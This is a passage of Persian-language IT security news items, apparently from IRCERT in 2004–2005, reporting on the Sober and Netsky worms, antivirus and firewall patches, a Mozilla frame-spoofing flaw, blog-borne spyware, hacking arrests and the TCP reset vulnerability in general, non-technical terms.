میکو هیپونن - مدیر تحقیقات شرکت F-Secure که درجه خطر این ویروس را 2 از 3 ارزیابی کرده است - می گوید:“ می توان گفت این یکی از بدترین شرایطی است که طی یک یا دو ماه اخیر مشاهده شده است. به دلایلی این فصل تا به حال آرام بوده است و این یکی از بزرگترین مشکلاتی است که در پاییز امسال دیده شده است. اما اگر وضعیت را با اوایل امسال و یا سال گذشته همین زمان مقایسه کنیم، چندان بد نیست.“

این نسخه نیز همانند نسخ قبلی از موتور SMTP خود برای ارسال کپی ویروس به نشانی های یافته شده بر روی کامپیوترهای قربانی استفاده می کند. پس از آن از کامپیوترهای آلوده به عنوان کانالی جهت دریافت برنامه ها استفاده می شود.

ویروس Sober.i یک فایل الحاقی با خود دارد و مدعی است که تصاویر یک مدل 21 ساله با موهای طلایی است که به دنبال کار می گردد. البته Sober این ایمیل را تنها به دامنه های با زبان آلمانی مانند .de و .ch ارسال می کند. این ویروس به زبان انگلیسی نیز منتشر می شود ، اما موضوع آن "delivery failure" و یا "oh god"‌است و سعی دارد کاربر را قانع کند تا فایل فشرده zip الحاق شده به ایمیل را باز کند.

Sober.i سیستمهای عامل ویندوز XP، 2000، ME ، 98، 95 ، NT و سرور 2003 را آلوده می کند.


﻿ IRCERT - یک تروجان است - اخبارها و هشدارها Sober.W

Sober.W یک تروجان است

17 مه 2005 - 27 اردیبهشت 1384

کرم اینترنتی Sober که در ماههای اخیر از پرکارترین آلوده کننده های اینترنتی بوده ، این بار به شکل یک تروجان ظاهر شده است.

به گزارش آنتی ویروس پاندا، این ویروس که بر خلاف گونه های قبلی خود یک تروجان است، Trj.Sober.W نامیده شده است. متن نامه آلوده به این تروجان به زبان انگلیسی یا آلمانی و مربوط به جنبش راست افراطیون در آلمان و یا شصتمین سالگرد جنگ جهانی دوم است.

Sober.W به محض نصب شدن بر روی یک سیستم یک کپی از خود را در یک subfolder در شاخه اصلی ویندوز با نام SERVICES.EXE ایجاد کرده و یک پیغام با مضمون "‌ من اسپمر نیستم اما می توانم یکی از آنها بشوم " برای کاربر نمایش می دهد و با تغییراتی که بر روی رجیستری ویندوز ایجاد می کند با هر بار startup شدن سیستم اجرا می شود. تنها هدف این نسخه ارسال به صورت گسترده است و باعث هیچگونه حذف یا تغییر در فایلهای سیستم آلوده نمی شود.

تا به حال 30 نمونه مختلف از نامه های آلوده به Sober.W به لابراتوار پاندا گزارش شده است که متن آنها شامل یکی از موارد زیر بوده است:

جنبش راست گرایان افراطی آلمان، شصتمین سالگرد جنگ جهانی دوم، جنگ، بمباران Dresden، پیشنهاد مشاهده وب سایت های سازمانهای سیاسی آلمانی. ضمنا از آنجا که جمعیت ترک زبانان ترکیه در آلمان بسیار زیاد است، متن تعداد زیادی از این ایمیل ها در خصوص راههای ورودی ترک ها به اروپا است.

شایان ذکر است که محصول TruPreventTM Technologies شرکت آنتی ویروس پاندا این ویروس را شناسائی و پاکسازی کرده است.

توصیه آنتی ویروس پاندا به کاربران برای درامان بودن از آلودگی به Sober.W، بروز کردن آنتی ویروس هایشان است.


﻿ IRCERT - یک سیستم عامل دارای ضدویروس - اخبارها و هشدارها

یک سیستم عامل دارای ضدویروس

5 نوامبر 2004 - 15 آبان 1383

انتظار می رود که شرکت امنیتی SonicWall در روز 18 آبان سیستم عامل جدید خود را که امکان اسکن کردن ویروسها در درگاه خود دارد،‌معرفی نماید.

SonicWall قصد دارد تا ضدویروس بلادرنگ خود را همراه با سیستم عامل SonicOS 3.0 ارائه کند. این ضدویروس به گونه ای در این سیستم عامل طراحی شده است که به جای دریافت یک فایل به صورت کامل و اسکن آن، بسته های اطلاعاتی ( Packet ) در حین دریافت اسکن می شوند.

قائم مقام این شرکت در این باره می گوید:“ رقبای ما اسکن می کنند اما عملکرد آنها مبتنی بر فایل است. در نتیجه مشتریان آنها به حافظه بیشتری نیاز دارند تا تمامی بسته ها و در نتیجه کل فایل را کپی کنند. همچنین بیشتر رقبا نمی توانند هر فایلی و با هر اندازه ای را اسکن کنند و زمانی که فایلها از حدی بزرگتر می شود با مشکل روبرو می شوند. “

او اشاره می کند که این ضدویروس بر روی درگاه ورودی نصب می شود و لذا پیش از آن که ویروس به کامپیوتر کاربر برسد به آن حمله می کند. درصورتی که این نرم افزار به ویروسی برخورد کند،‌به کاربر مزبور اطلاع داده می شود.


﻿ IRCERT - رفع مشکل امنیتی ضد ویروس ها - اخبارها و هشدارها

رفع مشکل امنیتی ضد ویروس ها

20 اکتبر 2004- 29 مهر 1383

شرکت امنیتی Sophos امروز اعلام کرد که حفره موجود در موتور نرم افزار ضدویروس خود را که به ویروس نویسان اجازه می داد تا با دستکاری فایلهای فشرده شده از تشخیص ویروس جلوگیری کنند، ‌پوشانده است.

این حفره که توسط شرکت امنیتی iDefense کشف شده، محصولات McAfee ،‌ Computer Associates ، Kaspersky Lab ، Eset و GeCAD Software's RAV را نیز تحت تاثر قرار می دهد.

شرکت Sophos دیروز وجود این حفره را تایید کرد. یکی از سخنگویان شرکت اعلام کرد که محصولات دارای شکاف امنیتی امروز به صورت خودکار به روز رسانی می شوند و از روز جمعه (فردا) نیز یک اصلاحیه قابل دریافت بر روی سایت این شرکت قرار خواهد گرفت.

Sophos اعلام کرده است که این مشکل جدی نیست و تا به حال نمونه ای که از این حفره استفاده کند مشاهده نشده است.

از طرف دیگر Symantec در مقام پاسخگویی به اشکال وارده توسط شرکت Secunia برآمده است. Secunia اعلام کرده بود که هکرها می توانند امکان auto-protect را در برنامه های امنیتی و ضدویروس Symantec غیرفعال کنند. این کار با قطع فعالیت پردازه CCApp.exe صورت می گیرد. وجود چنین حفره ای باعث می شود که هکرها بتوانند فایلهای خطرناک را روی سیستم قربانی نصب و اجرا کنند. اما Symantec امروز اعلام کرده است که مشخصه auto-protect ضدویروس این شرکت، با چنین روشی غیرفعال نمی شود و به کار خود ادامه می دهد و لذا کاربران با مشکلی روبرو نمی شوند.

بزرگنمایی یک مشکل امنیتی از سوی محققان و کوچک نمایی آن از سوی صاحبان محصولات امری بسیار طبیعی است. اگر می خواهید از اهمیت واقعی یک حفره آگاه شوید، بهتر است به تعداد افراد تحت تاثیر آن و میزان اثر آن حفره توجه کنید.


﻿ IRCERT - بدترین ویروس سال 2004 - اخبارها و هشدارها Netsky-P

Netsky-P ، بدترین ویروس سال 2004

8 دسامبر 2004 - 18 آذر 1383

بنابر گزارش منتشر شده توسط شرکت امنیتی Sophos ، در سال 2004 تعداد ویروسهای جدید حدود 52 درصد رشد داشته است و در این میان ویروس Netsky-P توانسته نام بدترین ویروس سال را به خود اختصاص دهد.

به گفته Sophos، 22.6 درصد از گزارشهای ارائه شده به این شرکت به Netsky-P مرتبط بوده است. این ویروس اولین بار در ماه مارس شناسایی شد. تا به حال بیش از 30 نسخه از ویروس Netsky منتشر شده است.

گراهام کلولی - مشاور ارشد فناوری Sophos - می گوید:“ این مسئله تعجب آور است که Netsky-P و Zafi-B ماهها پس از ارائه به روز رسانی های مرتبط توسط شرکتهای ضدویروس هنوز هم کامپیوترها را آلوده می کنند. این امر مشخص می کند که اکثر کاربران هنوز ضدویروس خود را به روزرسانی نکرده اند و ما معتقدیم که این مشکل بیشتر در کاربران خانگی وجود دارد.“

بنابراین گزارش، کرم Zafi-B که در رده دوم قرار دارد، 19 درصد از آلودگی های ویروسی امسال را تولید کرده است. ویروس ساسر که در ماه آوریل شناسایی شد نیز با ایجاد 14 درصد از آلودگی ها در رتبه سوم قرار دارد.

در این گزارش آمده است که سون جاشان - نویسنده ویروسهای Netsky و ساسر - باعث بیش از 50 درصد از مشکلات ویروسی در سال جاری است. وی که در ماه می امسال توسط پلیس آلمان دستگیر شده است، در اوایل سال آینده محاکمه خواهد شد.

Sophos امسال در مجموع 10724 ویروس، کرم و اسب تروای جدید را شناسایی کرده است که نسبت به سال گذشته 51.8 درصد رشد داشته است.


﻿ IRCERT - مشکل امنیتی قدیمی در مرورگرهای موزیلا - اخبارها و هشدارها

مشکل امنیتی قدیمی در مرورگرهای موزیلا

6 ژوئن 2005 - 16 خرداد 1384

شرکت امنیتی Secunia هشدار داد که یک حفره امنیتی که از 7 سال پیش شناسایی شده، در نسخه جدید مرورگر Firefox بروز کزده است که به یک هکر اجازه می دهد تا محتوای خطرناکی را بر روی سایتهای قابل اعتماد قرار دهد.

این مشکل امنیتی که سایر برنامه های بنیاد موزیلا را نیز تحت تاثیر قرار داده است، به شیوه مدیریت فریم در صفحات وب برمی گردد. در راهنمایی امنیتی Secunia آمده است که این مرورگرها کنترل نمی کنند که آیا فریمهای نمایش داده شده در یک صفحه، همگی از همان سایت تغذیه می شوند یا خیر. مرورگرهای Firefox 1.x ، Mozilla 1.7.x و Camino 0.x تحت تاثیر این مشکل قرار دارند.

یک هکر می تواند با سوء استفاده از این حفره، محتوایی را در یک فریم روی یک سایت قابل اعتماد قرار دهد. برای مثال ممکن است یک هکر از این طریق صاحبان حساب یک بانک آنلاین را فریب دهد و حالی که آنها فکر می کنند که تمامی سایت و فریمها متعلق به بانک است و لذا به راحتی و با آرامش اطلاعات را در اختیار قرار می دهند، در یک فریم از آنها اطلاعاتی را بگیرد. Secunia درجه خطر این حفره را نسبتا خطرناک یا moderately critical اعلام کرده است.

در ماه جولای سال گذشته نیز Secunia مشکل امنیتی مشابهی را در مرورگرهای موزیلا یافته بود، اما در آن زمان مشکل مزبور آخرین نسخ برنامه های موزیلا را تحت تاثیر قرار نمی داد.

به گفته Secunia این حمله زمانی انجام می شود که کاربر به طور همزمان سایت اصلی و مورد اعتماد را همراه با سایتی که متلق به هکر است باز کرده باشد. پس از آن کافی است که کاربر روی لینکی در سایت هکر کلیک کند تا محتوای مورد نظر هکر در یک فریم در سایت مورد اعتماد کاربر نمایش داده شود. به همین دلیل Secunia به کاربران توصیه می کند که سایتهای مورد اعتماد و غیرقابل اعتماد را همزمان مشاهده نکنند. حتی برای امنیت بیشتر توصیه شده است که در زمان دسترسی به سایتهای حساسی مثل بانکها، بهتر است کاربران سایر پنجره های کاری را ببندند.

موزیلا در حال بررسی این مشکل امنیتی است.


﻿ IRCERT - حمله نرم افزارهای جاسوسی از طریق وبلاگها - اخبارها و هشدارها

حمله نرم افزارهای جاسوسی از طریق وبلاگها

23 فوریه 2005 - 5 اسفند 1383

هکرها با اشتافده از مشکلات امنیتی موجود در ابزارهای self-publishing که در وبلاگها مورد استفاده قرار می گیرد، سعی می کنند تا کامپیوترهای کاربران را با نرم افزارهای جاسوسی آلوده کنند.

این مشکل در استفاده از JavaScript و ActiveX بروز می کند، دو روش معمولی که برای اجرای برنامه ها روی صفحه وب به کار می روند. متخصصان امنیتی می گویند که یک برنامه نویس می تواند از JavaScript و ActiveX استفاده کند تا یک برنامه جاسوسی را به صورت خودکار از یک وبلاگ به بازدیدکنندگان آن منتقل کند، البته به شرطی که بازدیدکننده وبلاگ از یک مرورگر قابل نفوذ استفاده کند.

همچنین ابزارهای جاسوسی در برنامه های JavaScript رایگانی که برای وبلاگ نویسان بر روی وب ارائه شده اند و مثلا امکان پخش موزیک روی وبلاگ را به وبلاگ نویس می دهند، پنهان شده اند. در نتیجه وبلاگ نویسانی که از ابزارهای آلوده استفاده می کنند، ناخواسته سایتهای خود را به بستری برای تحویل ابزارهای جاسوسی تبدیل می کنند.

متخصصان امنیتی هشدار داده اند که این مشکل تنها کاربرانی را تهدید می کند که از مرورگر IE استفاده می کنند و آخرین اصلاحیه های امنیتی را نصب نکرده اند و تنظیمات مربوطه را انجام نداده اند.

مشکل مزبور کاملا در سیستم بلاگر گوگل خود را نشان داده است. کاربران blogspot.com شکلایت کرده اند که زمانی که بر روی لینک "Next Blog" کلیک می کنند، به سایتهای آلوده هدایت می شوند. این امکان برای کمک به کاربران جهت یافتن وبلاگهای جدید به صورت تصادفی طراحی شده است.

یکی از سخنگویان گوگل اعلام کرده است که آنها با آگاهی از مشکل در حال بررسی آن و پیدا کردن راه حل هستند. بازدیدکنندگان وبلاگهای blogspot.com می گویند که آنها مرتبا هدف تبلیغات pop-up قرار می گیرند که سعی دارد کدی خطرناک را به سیستم آنها منتقل کند. یکی از این پیامهای تبلیغاتی به کاربران هشدا می دهد که سیستم آنها در برابر ابزارهای جاسوسی قابل نفوذ است و برای حفاظت از سیستم خود باید روی این تبلیغ کلیک کنند. کلیک کردن روی تبلیغ باعث دریافت برنامه جاسوسی و آلوده سازی سیستم می شود.

همچنین حداقل یکی از بازدیدکنندگان مدعی است که یک ابزار جاسوسی بدون دخالت وی و به صورت خودکار روی سیستم وی قرار گرفته است.

به گفته متخصصان یکی از منابع عمده مشکلات سرویس سایت iWebtunes.com‌است که به کاربران اجازه می دهد تا با کمک دو خط کد JavaScript، موزیک را به سایت خود اضافه کنند. بسیاری از وبلاگ نویسان نیز با استفاده از همین سرویس، ناخواسته ابزارهای جاسوسی را برای بازدیدکنندگان وبلاگشان به ارمغان می آورند.


﻿ IRCERT - جاسوسی از مرورگرهای موزیلا - اخبارها و هشدارها

جاسوسی از مرورگرهای موزیلا

9 فوریه 2005 - 21 بهمن 1383

متخصصان امنیتی هشدار داده اند که یک نرم افزار جاسوسی را مشاهده کرده اند که مرورگرهای بنیاد موزیلا را هدف قرار داده و با توجه به اقبال کاربران به مرورگر Firefox این بنیاد، این تهدید جدی به نظر می رسد.

موسس شرکت نرم افزاری Sunbelt اعلام کرده است که دیروز اولین ابزار جاسوسی که کاربران مرورگرهای موزیلا را هدف گرفته ، شناسایی کرده است. ریچارد استینون - قائم مقام بخش تحقیقات تهدیدها در شرکت Webroot که به تولید ابزارهای ضدجاسوسی می پردازد - معتقد است که این برنامه خطرناک فقط Firefox را نشانه نرفته است بلکه موزیلا را هدف گرفته است.

البته جهت نصب این برنامه کاربران باید با دریافت و نصب آن موافقت کنند، اما همچنان امکان فریب خوردن کاربران وجود دارد.

کارشناسان معتقدند با افزایش سهم مرورگرهای موزیلا از بازار،‌ میزان حملات به آنها افزایش یافته و هدف بهتری برای هکرها به شمار می روند. مرورگرهای موزیلا سهم خود را از بازار ظزف مدت 6 ماه - از ماه مه تا ماه نوامبر - از 2.4 درصد به 7.4 درصد افزایش داده اند و قصد دارند تا پایان سال 2005، 10 درصد کاربران وب را به خود جلب کنند.


﻿ IRCERT - تعلیق دانشجویان به جرم هک کردن شبکه آکسفورد - اخبارها و هشدارها

تعلیق دانشجویان به جرم هک کردن شبکه آکسفورد

1 نوامبر 2004 - 11 آبان 1383

دو نفر از دانشجویان دانشگاه آکسفورد با اعتراف به دسترسی غیرمجاز به شبکه IT این داشنگاه، از تحصیل معلق شدند.

پاتریک فاستر 20 ساله و راجر ویت 21 ساله مدعی هستند که نفوذ را به قصد آشکار ساختن حفره های امنیتی انجام داده اند اما کمیته انضباطی فاستر را تا ماه می سال 2005 و ویت را تا ژانویه 2005 معلق کرده است.

فعالیت این دو زمانی آشکار شد که آنها طی مقاله ای در روزنامه دانشگاه به شرح کار خود پرداختند. آنها هشدار دادند که با کمک ابزارهایی که از طریق گوگل یافته اند توانسته اند به اطلاعاتی درباره استفاده دانشجویان از کامپیوترها و همچنین کلمات عبور ایمیل دانشجویان دست پیدا کنند.

هکرها گوگل را مانند ابزاری مورد استفاده قرار می دهند. آنها از این موتور جستجوی مشهور استفاده می کنند تا سایتهای دارای حفره را بیایند. برای مثال آنها با جستجوی عناوین صفحات پیش فرض در سرورها، سرورهای قابل نفوذ را می یابند.

فاستر به 7 خطا اعتراف کرده است. دو خطا مرتبط با استفاده از امکانات دانشگاه برای فعالیتهای غیرقانونی ، دو خطا در رابطه با دسترسی غیرمجاز به شبکه ، دو خطا مربوط به تجاوز به حریم خصوصی کاربران و یک خطا با تلف کردن وقت کارکنان با فعالیت غیردرسی.

ویت به 4 خطا متهم است. تلاش برای نفوذ به شبکه IT ، استفاده از امکانات دانشگاه برای فعالیتهای غیرقانونی، دسترسی غیرمجاز به شبکه، تلف کردن وقت کارکنان.

تا به حال گزارشی درباره خسارتهایی که این دو نفر وارد کرده اند و یا سودی که عاید آنها شده است منتشر نشده و به نظر می آید مسئله سود و خسارت در میان نبوده است.

آین دو دانشجو قصد دارند نسبت به حکم صادره درخواست فرجام کنند.


﻿ IRCERT - افزایش حملات اینترنتی به شرکت های تجاری انگلیسی - اخبارها و هشدارها

افزایش حملات اینترنتی به شرکت های تجاری انگلیسی

27 آوریل – 8 اردیبهشت

به گزارش رسمی از امنیت فناوری اطلاعات بریتانیا , بخش تجارت این کشور بیش از هر زمان دیگری در معرض حملات هکرها و ویروسهاست به طوری که شرکت های بزرگ در هر هفته معمولا یک بار با چنین مشکلی مواجه می شوند.

در این گزارش که در نتیجه مطالعه دپارتمان تجارت و صنعت بدست آمده و منتشر شده است, مشخص شده که در سال گذشته دو سوم شرکتهای بریتانیایی قربانی یک حمله شبکه ای شده اند.

هزینه متوسط وجود هر حفره جدی و مهم به 10 هزار پوند ( 18 هزار دلار) رسیده است که در مقایسه با 54 هزار دلار سال 2002 , این هزینه کاهش یافته است اما با توجه به افزایش تعداد وقایع خطرناک , در مجموع هزینه حفره های امنیتی ثابت مانده است.

این مطالعه نشان می دهد که بسیاری از شرکتهای بزرگ به خاطر عدم وجود امنیت کافی در بخش IT میلیون ها پوند ضرر می کنند. هزینه متوسط هر نفوذ به یک شرکت بزرگ 215 هزار دلار است و معمولا در هر ماه چهار نفوذ به این شرکتهای بزرگ صورت می پذیرد. البته به طور متوسط این نسبت برای تمامی شرکتها 1 نفوذ در هر ماه است.

وزیر تجارت الکترونیکی – استفن تیمز – گفته است که تا بحال تصور می کردیم که مشکلات امنیتی تنها برای دیگران بوجود می آیند, اما حالا این تصور پایان یافته است.

بنابر این گزارش تنها یک سوم شرکت های بریتانیا دارای سیاست امنیتی IT هستند.


﻿ IRCERT - اخبار و هشدارها - SuSE اصلاحیه های امنیتی

اصلاحیه های امنیتی SuSE

7 فوریه 2005 - 19 بهمن 1383

بنا به گزارش منتشر شده، SuSE تعدادی اصلاحیه بسیار مهم با درجه highly critical را منتشر کرده است.

در گزارش ارائه شده توسط Secunia چنین آمده است که این اصلاحیه ها جهت پوشش حفره هایی که برای انجام حملات cross-site scripting ، spoofing و DoS و همچنین سرقت اطلاعات مهم و دسترسی به سیستم ها از راه دور استفاده می شوند، ارائه شده اند.

این حفره ها در SuSE' eMail Server 3.x ،‌ Linux Database Server، Linux Enterprise Server 9 و Linux Office Server یافت شده اند.

Secunia معتقد است که شیوه ارائه این اصلاحیه ها باعث گیج شدن کاربر می شود که نمی تواند متوجه شود کدام حفره و اصلاحیه آن از اهمیت بیشتری برخوردار است و باید سریعتر به کار گرفته شود.

ماه گذشته نیز SuSE همراه با سایر سرکت های ارائه کننده لینوکس اصلاحیه هایی را برای حفره های متعدد موجود در سیستم عامل خود عرضه کرد.


﻿ IRCERT - اخبار و هشدارها - Half-Life 2 دستگیری سارقین کد بازی

دستگیری سارقین کد بازی Half-Life 2

10 ژوئن – 21 خرداد

شرکت نرم افزاری Valve امروز اعلام کرد که پلیس چندین مظنون را به اتهام سرقت کد بازی Half-Life 2 دستگیر کرده است.

گیب نول - مدیر اجرایی شرکت Valve - در بیانیه ای اعلام کرده است که دستگیری ها در چندین کشور انجام شده اند. وی با تشکر از مشتریان که در شناسایی متهمان کمک شایانی کرده اند ، گفته است:“ چند روز پس از اعلام نفوذ به شرکت ، جامعه بازی آنلاین متهمان را ردیابی کرده است.“ وی افزوده است :“ بسیار جالب بود که مشاهده کنیم چگونه بازیکنان با سرعت و هوش بالای خود مشکلاتی را در رابطه با جرایم سایبر حل می کنند که پلیس و روشهای سنتی قانونی از حل آن عاجزند.“

شرکت Valve هیچ گونه اطلاعاتی درباره هویت ، ملیت یا موقعیت حقوقی متهمین ارائه نکرده است و تمامی سئوالات را به بخش جرایم سایبر FBI در منطقه سیاتل ارجاع داده است. FBI نیز پاسخ روشنی ارائه نکرده است.

در ماه اکتبر ، نول اعلام کرده بود که هکرها به شبکه این شرکت نفوذ کرده اند و سورس کد بازی Half-Life 2 را به طور کامل سرقت کرده اند. این سورس چندی بعد از طریق فروم ها توزیع شد .

قرار بود این بازی که شماره دوم از بازی Half-Life‌ به شمار می آید، اواخر سال گذشته میلادی منتشر شود که با انجام این سرقت ، ورود آن به بازار تا تابستان امسال به تاخیر افتاده است. بعضی با توجه به زمان دستگیری ها احتمال می دهند که این سرقت با اسب تروای Agobot و نویسندگان آن مرتبط باشد.


﻿ IRCERT - سلطان اسپم در دادگاه - اخبارها و هشدارها

سلطان اسپم در دادگاه

6 جولای 2005 – 15 تیر 1384

یک مرد سی ساله که به سلطان اسپم مشهور است، هفته گذشته در زمان ورود به آمریکا دستگیر و در این هفته محاکمه می شود.

کریستوفر اسمیت که گفته می شود حدود یک میلیارد ایمیل اسپم برای مشترکین America Online ارسال کرده است، در فرودگاه مینیاپولیس، هنگام پیاده شدن از هواپیمایی که از جمهوری دومینیکن رسیده بود، دستگیر شد.

به گفته سخنگوی دادگستری، اسمیت در جمهوری دومینیکن به صورت غیرقانونی در زمینه داروخانه های آنلاین فعالیت داشته است. در ماه مه یک دادهگاه داراییهای اسمیت را ضبط کرد و حکم موقتی مبنی بر منع اسمیت از فروش دارو را صادر کرد. داروخانه های آنلاین به مردم امکان می دهند تا داروها را بدون نسخه و مجوز پزشک خریداری کنند. هفته گذشته یک قاضی حکم دستگیری اسمیت به دلیل نقض حکم منع را صادر کرد.

با وجود آنکه دستگیری اسمیت به صورت مستقیم ارتباطی با موضوع اسپم ندارد، اما متخصصان امنیتی وی را یکی از دردسرسازترین افراد می دانند و در لیست 10 نفر اول جای داشته است. کارشناسان امیدوارند با به دست آمدن چنین موقعیتی، وی درباره مزاحمتهای آنلاین از طریق اسپم نیز پاسخ دهد.


﻿ IRCERT - خدمات امنیتی خود را بهبود می بخشد - اخبارها و هشدارها Symantec

Symantec خدمات امنیتی خود را بهبود می بخشد

5 نوامبر 2004- 15 آبان 1383

Symantec قصد دارد تا از روز 18 آبان دو سرویس امنیتی خود را ترکیب کند و در قالب یک سرویس ارائه کند تا امنیت بیشتر و بهتری را برای کاربران و مشتریان خود به ارمغان آورد.

این شرکت امنیتی دو سرویس Early Warning و Managed Security را با هم ادغام کرده است و خدمات Global Intelligence را پایه گذاری کرده است.

یکی از مدیران این شرکت درباره این تغییرات چنین می گوید:“ ما تخمین می زنیم که حدود 10 تا 20 درصد از مشتریان ما از هر دو سرویس استفاده می کردند. اما آنها به ما می گفتند که بهتر است این دو سرویس باهم ادغام شود تا درون شبکه به خوبی جای بگیرند. با کمک این دو سرویس،‌آنها می توانند داده های خود را با داده های جهانی مقایسه کنند و امکان محک زنی خوبی نیز پیدا می کنند.“

سرویس Early Warning با شبکه ای متشکل از 20 هزار سنسور در سراسر دنیا، راهنمایی های امنیتی خود را درباره احتمال بروز مشکلات امنیتی مانند حمله ویروسها و یا حفره های امنیتی در نرم افزارها برای مشتریان ارسال می کند. حفره های جدید مورد بررسی قرار می گیرند و به مشتریان در مورد آنها هشدار داده می شود.

Symantec با کمک سرویس Managed Security به مدیریت و نظارت بر شبکه های مشتریان می پردازد و فایلهای log در فایروالها را مور کنترل قرار می دهد. شرکتهایی که سیستمشان مور حمله قرار گیرد، توسط Symantec از حفره محل حمله آگاه می شوند و راهنمایی هایی نیز برای تامین امنیت شبکه خود دریافت می کنند.

Symantec سعی دارد تا شرکتهای بزرگ و متوسطی را که می خواهند از حملات بالقوه و بالفعل بر روی شبکه ها آگاه شوند به خود جذب کند.


﻿ IRCERT - اخبار و هشدارها - Symantec ویروسها و مشکل امنیتی

ویروسها و مشکل امنیتی Symantec

9 فوریه 2005 - 21 بهمن 1383

Symantec اصلاحیه ای منتشر کرده است تا مشکل امنیتی موجود در نرم افزار اسکن خود را بپوشاند. این مشکل امنیتی می توانست باعث شود که نرم افزار به جای گرفتن یک ویروس،‌ آن را اجرا کند.

این حفره یک کتابخانه ضدویروس را تحت تاثیر قرار می دهد که توسط اکثر محصولات ضدویروس و ضداسپم Symantec مانند Norton SystemWorks 2004 و Symantec Mail Security for Exchange به کار گرفته می شوند.

این نرم افزار در بسیاری از سیستمها در رده های مختلف desktop تا سرورهای ایمیل شرکتهای بزرگ به کار رفته است و لذا حفره مزبور می تواند مشکلات عدیده ای ایجاد کند.

به گفته Symantec ، کامپیوترهایی که از محصولات اصلاح نشده این شرکت برای اسکن فایلها و تشخیص کدهای خطرناک استفاده می کنند و سیستم عامل آنها ویندوز، Mac OS X ، لینوکس ، سولاریس و یا AIX است، در خطر جدی قرار دارند.

اما این حفره آخرین نسخ محصولاتی مانند Norton Antivirus 2005 را تحت تاثیر قرار نمی دهد. Symantec به کاربران و مشتریان خود هشدار داده است که از به روز بودن سیستم خود اطمینان حاصل کنند.

Secunia به مشکل امنیتی Symantec درجه خطر highly critical را داده است که دومین درجه خطر محسوب می شود.

مشکل از شیوه اسکن کردن فایلهای فشرده با فرمت UPX ) Ultimate Packer for Executables ) ناشی می شود. یک هکر می تواند ویروسی بنویسد که از حفره UPX استفاده کند و آن را برای قربانیان خود از طریق ایمیل ارسال کند یا آن را روی یک صفحه وب قرار دهد. نرم افزار اسکن Symantec درصورتی که اصلاح نشده باشد، در هنگام کنترل ایمیلهای ورودی و یا صفحات در حال نمایش توسط کاربر، به جای گرفتن ویروس فایل را اجرا خواهد کرد.

Symantec از طریق سیستم به روز رسانی خودکار خود و مکانیزمهای دیگر در حال به روز کردن سیستم های مشتریانش است.


﻿ IRCERT - اخبار و هشدارها - Symantec بسته شدن حفره فایروال

بسته شدن حفره فایروال Symantec

24 سپتامبر 2004 - 3 مهر 1383

شرکت Symantec چند اصلاحیه امنیتی را برای پوشش حفره های متعدد موجود در محصولاتش ارائه کرده است.

این شرکت در این هفته با ارائه یک بولتن مدعی شد که 3 حفره مهم امنیتی موجود در نرم افزار مورد استفاده برای سخت افزار firewall/vpn مدلهای 100 ، 200 و 200R پوشانده شده است. همچنین مشکلات موجود در محصولات Gateway Security 320، 360 و 360R که قابل استفاده از دو حفره امنیتی بوده اند، نیز برطرف شده اند.

این حفره ها امکان انجام حملات DoS بر روی فایروال را میسر می کردند. همچنین به یک فرد خارج از شبکه این امکان را می دادند تا سرویسهای فعال بر روی واسط WAN را شناسایی کند و با نفوذ از طریق یکی از این سرویسها، پیکره بندی فایروال را به دست آورد و تغییر دهد.

از فایروالها به عنوان یک دیوار دفاعی ضروری در مقابل نفوذگران استفاده می شود. بنا به گفته Symantec هیچ حمله ای از طریق این حفره ها گزارش نشده است.


﻿ IRCERT - ایمیل امن عرضه می کند - اخبارها و هشدارها Symantec

Symantec ایمیل امن عرضه می کند

21 ژانویه 2005 - 2 بهمن 1383

شرکت امنیتی Symantec وارد بازار ارائه ابزار ایمیل امن خواهد شد و با کمک شریک خود ، IronPort، عرصه رقابت را گسترش خواهد داد.

کارشناسان معتقدند که این شراکت در کوتاه مدت فرصت مناسبی برای Symantec خواهد بود که به فروش ضدویروس خود بپردازد اما در بلند مدت این همکاری به رقابت و جدایی خواهد انجامید.

Symantec جهت ورود به این بازار دو محصول را عرضه خواهد کرد که سری 8100 و 8200 خواهند بود. سری 8100 به این منظور طراحی شده اند که حجم ایمیلهای ناخواسته را پیش از رسیدن به شبکه مورد نظر 50 درصد کاهش دهند و لذا هزینه اضافه شدن فضای هارد دیسک مورد نیاز کاهش یابد. در حال حاضر تنها مدل موجود در این سری 8160 نام دارد که به قیمت 4995 دلار به فروش خواهد رسید که تنها هزینه سخت افزاری سیستم خواهد بود و شامل هزینه لیسانس نرم افزارها نخواهد بود.

در سری 8200 Symantec دو مدل عرضه خواهد کرد که هردو فناوری های فایرول ایمیل، ضدویروس و ضداسپم را به صورت مجتمع و واحد ارائه خواهند کرد. به گفته مدیر محصولات ایمیل امن این شرکت این سری خواهد توانست 95 درصد از اسپمها را در درگاه ورودی شبکه متوقف کند.

مدل 8240 برای شرکتهایی با 100 تا 1000 کاربر و مدل 8260 برای شرکتهایی با بیش از 1000 کاربر مناسب است. 8240 با قیمت 1995 دلار و 8260 با قیمت 4995 دلار عرضه خواهد شد که شامل لیسانس های نرم افزار امنیتی نخواهد بود.

قائم مقام بخش بازرگانی IronPort معتقد است که این همکاری برای مدتی طولانی و بدون مشکل ادامه خواهد داشت. پیش ازاین IronPort در بخش ضداسپم از محصولات Symantec و در درده ضدویروس از محصولات Sophos استفاده می کرد اما از این پس IronPort محصول ضدویروس Symantec را نیز در ابزارهای خود ارائه خواهد کرد و به مشتری امکان انتخاب خواهد داد.


﻿ IRCERT - اخبار و هشدارها- TCP حفره

حفره TCP انتقال اطلاعات را با خطر روبرو می کند

22 آوریل – 3 اردیبهشت

بنا بر راهنمایی امنیتی منتشر شده از سوی گروه امداد امنیت ملی بریتانیا , یک حفره امنیتی در پر کابردترین پروتکل ارتباطی برای ارسال داده بر روی شبکه, امکان قطع ارتباط سرورها و روترها را به هکرها داده است.

پروتکل TCP دارای یک حفره است که در برنامه ها و محصولات مختلف متفاوت است اما در بعضی سناریوها به عنوان یک نقطه ضعف بحرانی و مهم شناخته می شود. شرکت Juniper Networks , سازنده سخت افزارهای شبکه , اعلام کرده است که محصولاتش دارای این حفره هستند. شرکتهای سیسکو , هیتاچی , NEC و سایرین نیز در حال مطالعه و بررسی این حفره و محصولات خود هستند.

این حفره امکان انجام حمله reset را می دهد. مبنای بسیاری از تجهیزات و برنامه های شبکه ای بر یک جریان مداوم از داده از یک منبع یکتا – که session نامیده می شود – استوار است و قطع نابهنگام و بی موقع این جریان می تواند باعث بروز مشکلات بسیاری برای دستگاهها شود. پاول واتسون – متخصص امنیت شبکه – راهی را یافته است که می تواند جریان داده را بسیار ساده تر از آنچه تصور می شد, قطع کند. این تحقیقات در کنفرانس CanSecWest 2004 ارائه شده است.

